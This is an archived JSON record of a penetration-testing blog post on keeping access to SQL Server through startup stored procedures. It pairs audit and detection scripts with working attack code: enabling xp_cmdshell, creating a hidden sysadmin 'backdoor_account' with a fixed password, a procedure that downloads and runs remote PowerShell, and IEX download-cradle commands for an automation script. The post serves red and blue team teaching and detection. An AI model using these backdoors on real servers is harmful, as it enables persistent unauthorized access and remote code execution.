{
	"id": "214858e4-b2cf-493a-921a-95cffecdf5e5",
	"created_at": "2026-04-06T03:36:04.052173Z",
	"updated_at": "2026-04-10T13:12:43.22362Z",
	"deleted_at": null,
	"sha1_hash": "924983f904dfe5c6b3cf13770b592f71b934ee81",
	"title": "Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 611246,
	"plain_text": "Maintaining Persistence via SQL Server – Part 1: Startup Stored\r\nProcedures\r\nBy Scott Sutherland\r\nPublished: 2016-03-07 · Archived: 2026-04-06 02:11:33 UTC\r\nDuring red team and penetration test engagements, one common goal is to maintain access to target environments\r\nwhile security teams attempt to identify and remove persistence methods. There are many ways to maintain\r\npersistent access to Windows environments. However, detective controls tend to focus on compromised account\r\nidentification and persistence methods at the operating system layer. While prioritizing detective control\r\ndevelopment in those areas is a good practice, common database persistence methods are often overlooked.\r\nIn this blog series, I’m planning to take a look at few techniques for maintaining access through SQL Server and\r\nhow they can be detected by internal security teams. Hopefully they will be interesting to both red and blue teams.\r\nBelow is an overview of what will be covered in this blog:\r\nWhy use SQL Server as a Persistence Method?\r\nIntroduction to Startup Stored Procedures\r\nStartup Stored Procedure Detection\r\nStartup Stored Procedure Creation\r\nStartup Stored Procedure Code Review\r\nStartup Stored Procedure Removal\r\nAutomating the Attack\r\nWhy use SQL Server as a Persistence Method?\r\nIt may not be immediately obvious why anyone would use SQL Server or other database platforms to maintain\r\naccess to an environment, so I’ve provided some of the advantages below.\r\n1. The .mdf files that SQL Server uses to store data and other objects such as stored procedures are constantly\r\nchanging, so there is no easy way to use File Integrity Monitoring (FIM) to identify database layer\r\npersistence methods.\r\n2. SQL Server persistence methods that interact with the operating systems will do so under the context of the\r\nassociated SQL Server service account. This helps make potentially malicious actions appear more\r\nlegitimate.\r\n3. It’s very common to find SQL Server service accounts configured with local administrative or LocalSystem\r\nprivileges. This means that in most cases any command and control code running from SQL Server will\r\nhave local administrative privileges.\r\n4. Very few databases are configured to audit for common Indicators of Compromise (IoC) and persistence\r\nmethods.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 1 of 15\n\nWith that out of the way, let’s learn a little about stored procedures.\r\nIntroduction to Startup Stored Procedures\r\nIn SQL Server, stored procedures are basically chunks of SQL code intended for reuse that get compiled into a\r\nsingle execution plan. Similar to functions, they can accept parameters and provide output to the user. SQL Server\r\nships with quite a few native stored procedures, but they can also be user defined. Once logged into SQL Server,\r\nit’s possible to execute stored procedures that the current user has privileges to execute. For more general\r\ninformation regarding stored procedures, visit https://technet.microsoft.com/en-us/library/aa174792(v=sql.80).aspx.\r\nThe native sp_procoption stored procedure can be used to configure user defined stored procedures to run when\r\nSQL Server is started or restarted. The general idea is very similar to the “run” and “run once” registry keys\r\ncommonly used for persistence by developers, malware, and penetration testers. Before we get started on creating\r\nour evil startup stored procedures there are a few things to be aware of.\r\nThe stored procedures configured for automatic execution at start time:\r\nMust exist in the Master database\r\nCannot accept INPUT or OUTPUT parameters\r\nMust be marked for automatic execution by a sysadmin\r\nGeneral Note: Based on my time playing with this in a lab environment, all startup stored procedures are run\r\nunder the context of the sa login, regardless of what login was used to flag the stored procedure for automatic\r\nexecution. Even if the sa login is disabled, the startup procedures will still run under the sa context when the\r\nservice is restarted.\r\nStartup Stored Procedure Detection\r\nIn this section I’ve provided an example script that can be used to enable audit features in SQL Server that will log\r\npotentially malicious startup procedure activities to the Windows Application event log.\r\nNormally I would introduce the attack setup first, but if the audit controls are not enabled ahead of time the events\r\nwe use to detect the attack won’t show up in the Windows application event log.\r\nImportant Note: Be aware that the sysadmin privileges are required to run the script, and recommendations in\r\nthis section will not work on SQL Server Express, because SQL Server Auditing is a commercial feature. SQL\r\nServer Auditing can be used to monitor all kinds of database activity. For those who are interested in learning\r\nmore I recommend checking out this Microsoft site. https://technet.microsoft.com/en-us/library/cc280386(v=sql.110).aspx\r\nAudit Setup Instructions\r\nFollow the instructions below to enable auditing:\r\n1. Create and enable a SERVER AUDIT.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 2 of 15\n\n-- Select master database\r\nUSE master\r\n-- Setup server audit to log to application log\r\nCREATE SERVER AUDIT Audit_StartUp_Procs\r\nTO APPLICATION_LOG\r\nWITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)\r\n-- Enable server audit\r\nALTER SERVER AUDIT Audit_StartUp_Procs\r\nWITH (STATE = ON)\r\n2. Create an enabled SERVER AUDIT SPECIFICATION. This will enable auditing of defined server level\r\nevents. In this example, it’s been configured to monitor group changes, server setting changes, and audit\r\nsetting changes.\r\n-- Create server audit specification\r\nCREATE SERVER AUDIT SPECIFICATION Audit_StartUp_Procs_Server_Spec\r\nFOR SERVER AUDIT Audit_StartUp_Procs\r\nADD (SERVER_ROLE_MEMBER_CHANGE_GROUP),\r\n-- track group changes\r\nADD (SERVER_OPERATION_GROUP),\r\n-- track server setting changes\r\nADD (AUDIT_CHANGE_GROUP)\r\n-- track audit setting changes\r\nWITH (STATE = ON)\r\n3. Create an enabled DATABASE AUDIT SPECIFICATION. This will enable auditing of specific database\r\nlevel events. In this case, the execution of the sp_procoption procedure will be monitored.\r\n-- Create the database audit specification\r\nCREATE DATABASE AUDIT SPECIFICATION Audit_StartUp_Procs_Database_Spec\r\nFOR SERVER AUDIT Audit_StartUp_Procs\r\nADD (EXECUTE\r\nON master..sp_procoption BY public )\r\n-- sp_procoption execution\r\nWITH (STATE = ON)\r\nGO\r\n4. All enabled server and database level audit specifications can be viewed with the queries below. Typically,\r\nsysadmin privileges are required to view them.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 3 of 15\n\n-- List enabled server specifications\r\nSELECT audit_id,\r\n a.name as audit_name,\r\n s.name as server_specification_name,\r\n d.audit_action_name,\r\n s.is_state_enabled,\r\n d.is_group,\r\n d.audit_action_id,\r\n s.create_date,\r\n s.modify_date\r\nFROM sys.server_audits AS a\r\nJOIN sys.server_audit_specifications AS s\r\nON a.audit_guid = s.audit_guid\r\nJOIN sys.server_audit_specification_details AS d\r\nON s.server_specification_id = d.server_specification_id\r\nWHERE s.is_state_enabled = 1\r\n-- List enabled database specifications\r\nSELECT a.audit_id,\r\n a.name as audit_name,\r\n s.name as database_specification_name,\r\n d.audit_action_name,\r\n s.is_state_enabled,\r\n d.is_group,\r\n s.create_date,\r\n s.modify_date,\r\n d.audited_result\r\nFROM sys.server_audits AS a\r\nJOIN sys.database_audit_specifications AS s\r\nON a.audit_guid = s.audit_guid\r\nJOIN sys.database_audit_specification_details AS d\r\nON s.database_specification_id = d.database_specification_id\r\nWHERE s.is_state_enabled = 1\r\nIf you’re interested in finding out about other server and database audit options, you can get a full list using\r\nthe query below.\r\nSelect DISTINCT action_id,name,class_desc,parent_class_desc,containing_group_name from sys.dm_\r\nStartup Stored Procedure Creation\r\nNow for the fun part. The code examples provided in this section will create two stored procedures and configure\r\nthem for automatic execution. As a result, the stored procedures will run the next time a patch is applied to SQL\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 4 of 15\n\nServer, or the server is restarted. As mentioned before, sysadmin privileges will be required.\r\nNote: This example was performed over a direct database connection, but could potentially be executed through\r\nSQL injection as well.\r\n1. If you’re trying this out at home, you can download and install SQL Server with SQL Server Management\r\nStudio Express to use for connecting to the remote SQL Server. https://www.microsoft.com/en-us/download/details.aspx?id=42299.\r\n2. Log into the (commercial version of) SQL Server with sysadmin privileges.\r\n3. Enable the xp_cmdshell stored procedure. This may not be required, but xp_cmdshell is disabled by\r\ndefault.\r\n-- Enabled xp_cmdshell\r\nsp_configure 'show advanced options',1\r\nRECONFIGURE\r\nGO\r\nsp_configure 'xp_cmdshell',1\r\nRECONFIGURE\r\nGO\r\nWhen a system setting like “xp_cmdshell” is changed, the Windows Application event log should include\r\nevent ID 15457. Also, event ID 33205 should show up with a statement field set to “reconfigure”. I don’t\r\nsee xp_cmdshell enabled very often. So most attackers will have to enable it to perform OS level\r\noperations.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 5 of 15\n\n4. Create a stored procedure to add a new sysadmin Login using the query below.\r\n------------------------------\r\n-- Create a stored procedure 1\r\n------------------------------\r\nUSE MASTER\r\nGO\r\nCREATE PROCEDURE sp_add_backdoor_account\r\nAS\r\n-- create sql server login backdoor_account\r\nCREATE LOGIN backdoor_account WITH PASSWORD = 'Password123!';\r\n-- Add backdoor_account to sysadmin fixed server role\r\nEXEC sp_addsrvrolemember 'backdoor_account', 'sysadmin';\r\nGO\r\n5. Create a stored procedure to use the xp_cmdshell stored procedure to download and execute a PowerShell\r\npayload from the internet using the query below. The script in the example simply writes a\r\nc:\\temp\\helloworld.txt file, but you can use any PowerShell payload. Something like a PowerShell Empire\r\nagent could be handy.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 6 of 15\n\n------------------------------\r\n-- Create a stored procedure 2\r\n------------------------------\r\nUSE MASTER\r\nGO\r\nCREATE PROCEDURE sp_add_backdoor\r\nAS\r\n-- Download and execute PowerShell code from the internet\r\nEXEC master..xp_cmdshell 'powershell -C \"Invoke-Expression (new-object System.Net.WebClient).D\r\nGO\r\n6. Configure the stored procedures to run when the SQL Server service is restarted using the query below.\r\n------------------------------------------------\r\n-- Configure stored procedure to run at startup\r\n------------------------------------------------\r\n-- Set 'sp_add_backdoor_account' to auto run\r\nEXEC sp_procoption @ProcName = 'sp_add_backdoor_account',\r\n@OptionName = 'startup',\r\n@OptionValue = 'on';\r\n-- Setup 'sp_add_backdoor' to auto run\r\nEXEC sp_procoption @ProcName = 'sp_add_backdoor',\r\n@OptionName = 'startup',\r\n@OptionValue = 'on';\r\nAfter execution, the event ID 33205 should show up in the Windows Application event log if auditing has\r\nbeen enabled. The “object_name” should contain “sp_procoption”, and the name of the startup stored\r\nprocedure can be found in the “statement” field. I haven’t seen this option used very often in production\r\nenvironments. So alerting on it shouldn’t generate too many false positives. Below is an example of the\r\nevent output.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 7 of 15\n\n7.\r\n8. Confirm the configuration worked using the query below.\r\n-- List stored procedures mark for automatic execution\r\nSELECT [name] FROM sysobjects\r\nWHERE type = 'P'\r\nAND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;\r\n9. If you’re doing this lab on a test instance on your own system, then you can restart the SQL Server service.\r\nIf you’re performing an actual penetration test, you’ll have to wait for the service or server to restart before\r\nthe procedures are executed. Usually that will happen during standard patch cycles. So if you’re procedures\r\nstart a reverse shell you may have to wait a while.Very Important Note: Only perform this step in a lab\r\nenvironment and NEVER restart a production service. Unless of course you want to be attacked by an\r\nangry mob of DBAs and business line owners. That being said, you can restart the service with the sc or\r\nthe PowerShell restart-service commands. However, if you’re a GUI fan you can just use services.msc as\r\nshown below.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 8 of 15\n\nWhen the SQL Server service restarts it will launch the startup procedures and Windows event ID 17135 is\r\nused to track that event as shown below.\r\n10.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 9 of 15\n\n11. Verify that a new sysadmin login named “backdoor_account” was added.\r\nWhen a login is added to the sysadmin fixed server role event ID 33205 should show up again in the\r\napplication log. However, this time the “object_name” should contain “sysadmin”, and the name of the\r\naffected account can be found in the “statement” field. Sysadmins shouldn’t be changed too often in\r\nproduction environments, so this can also be a handy thing to monitor.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 10 of 15\n\n12.\r\nStartup Stored Procedure Code Review\r\nAt this point you should be able to view the log entries described earlier (33205 and 17135). They should tell you\r\nwhat procedures to dig into. If you’re interested in what they’re doing, it’s possible to view the source code for all\r\nstartup stored procedures with the query below.\r\nSELECT ROUTINE_NAME, ROUTINE_DEFINITION\r\nFROM MASTER.INFORMATION_SCHEMA.ROUTINES\r\nWHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'ExecIsStartup') = 1\r\nBe aware that you will need privileges to view them, but as a sysadmin it shouldn’t be an issue.\r\nStartup Stored Procedure Removal\r\nMy guess is that at some point you’ll want to remove your sample startup procedures and audit settings, so below\r\nis a removal script.\r\n-- Disable xp_cmdshell\r\nsp_configure 'xp_cmdshell',0\r\nreconfigure\r\ngo\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 11 of 15\n\nsp_configure 'show advanced options',0\r\nreconfigure\r\ngo\r\n--Stop stored procedures from starting up\r\nEXEC sp_procoption @ProcName = 'sp_add_backdoor',\r\n@OptionName = 'startup',\r\n@OptionValue = 'off';\r\nEXEC sp_procoption @ProcName = 'sp_add_backdoor_account',\r\n@OptionName = 'startup',\r\n@OptionValue = 'off';\r\n-- Remove stored procedures\r\nDROP PROCEDURE sp_add_backdoor\r\nDROP PROCEDURE sp_add_backdoor_account\r\n-- Disable and remove SERVER AUDIT\r\nALTER SERVER AUDIT Audit_StartUp_Procs\r\nWITH (STATE = OFF)\r\nDROP SERVER AUDIT Audit_StartUp_Procs\r\n-- Disable and remove SERVER AUDIT SPECIFICATION\r\nALTER SERVER AUDIT SPECIFICATION Audit_StartUp_Procs_Server_Spec\r\nWITH (STATE = OFF)\r\nDROP SERVER AUDIT SPECIFICATION Audit_StartUp_Procs_Server_Spec\r\n-- Disable and remove DATABASE AUDIT SPECIFICATION\r\nALTER DATABASE AUDIT SPECIFICATION Audit_StartUp_Procs_Database_Spec\r\nWITH (STATE = OFF)\r\nDROP DATABASE AUDIT SPECIFICATION Audit_StartUp_Procs_Database_Spec\r\nSo…\r\nIf an attacker decides to be clever and disable the audit settings it will also show up under event ID 33205. In this\r\ncase, the statement will include “ALTER SERVER AUDIT” or “DROP SERVER AUDIT” along with the rest of\r\nthe statement. Also, “object_name” will be the name of the SERVER AUDIT. This is another thing that shouldn’t\r\nchange very often in production environments so it’s a good this to watch. Below is a basic screenshot example.\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 12 of 15\n\nAutomating the Attack\r\nI put together a little PowerShell script called “Invoke-SqlServer-Persist-StartupSp.psm1” to automate the attack.\r\nBelow are some basic usage instructions for those who are interested.\r\n1. Download the script or reflectively load it from here.\r\nIEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/NetSPI/PowerSh\r\n2. The example below shows how to add a SQL Server sysadmin via a startup stored procedure every time the\r\nSQL Server service is restarted.\r\nInvoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance \"MSSQL2008WIN8\" -NewSqlUser Evi\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 13 of 15\n\n3. The example below shows how to add a local Windows Administrator via a startup stored procedure every\r\ntime the SQL Server service is restarted.\r\nInvoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance \"MSSQL2008WIN8\" -NewosUser Evil\r\n4. The example below shows how to run arbitrary PowerShell code via a startup stored procedure every time\r\nthe SQL Server service is restarted.\r\nInvoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance \"MSSQL2008WIN8\" -PsCommand \"IEX\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 14 of 15\n\nWrap Up\r\nIn this blog I covered how to create, detect, and remove malicious startup stored procedures in SQL Server.\r\nHopefully, this will help create some awareness around this type of persistence method. Big thanks to Grisha\r\nKumar and Ben Tindell for verifying all the code samples for this blog. Have fun and hack responsibly!\r\nNote: All testing was done on Windows 8 running SQL Server 2014 Standard Edition.\r\nReferences\r\nhttps://technet.microsoft.com/en-us/library/aa174792(v=sql.110).aspx\r\nhttps://technet.microsoft.com/en-us/library/ms181720(v=sql.110).aspx\r\nhttps://technet.microsoft.com/en-us/library/dd392015%28v=sql.100%29.aspx\r\nhttps://msdn.microsoft.com/en-us/library/cc280663(v=sql.100).aspx\r\nhttps://cprovolt.wordpress.com/2013/08/02/sql-server-audit-action_id-list/\r\nSource: https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nhttps://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"
	],
	"report_names": [
		"sql-server-persistence-part-1-startup-stored-procedures"
	],
	"threat_actors": [],
	"ts_created_at": 1775446564,
	"ts_updated_at": 1775826763,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/924983f904dfe5c6b3cf13770b592f71b934ee81.pdf",
		"text": "https://archive.orkl.eu/924983f904dfe5c6b3cf13770b592f71b934ee81.txt",
		"img": "https://archive.orkl.eu/924983f904dfe5c6b3cf13770b592f71b934ee81.jpg"
	}
}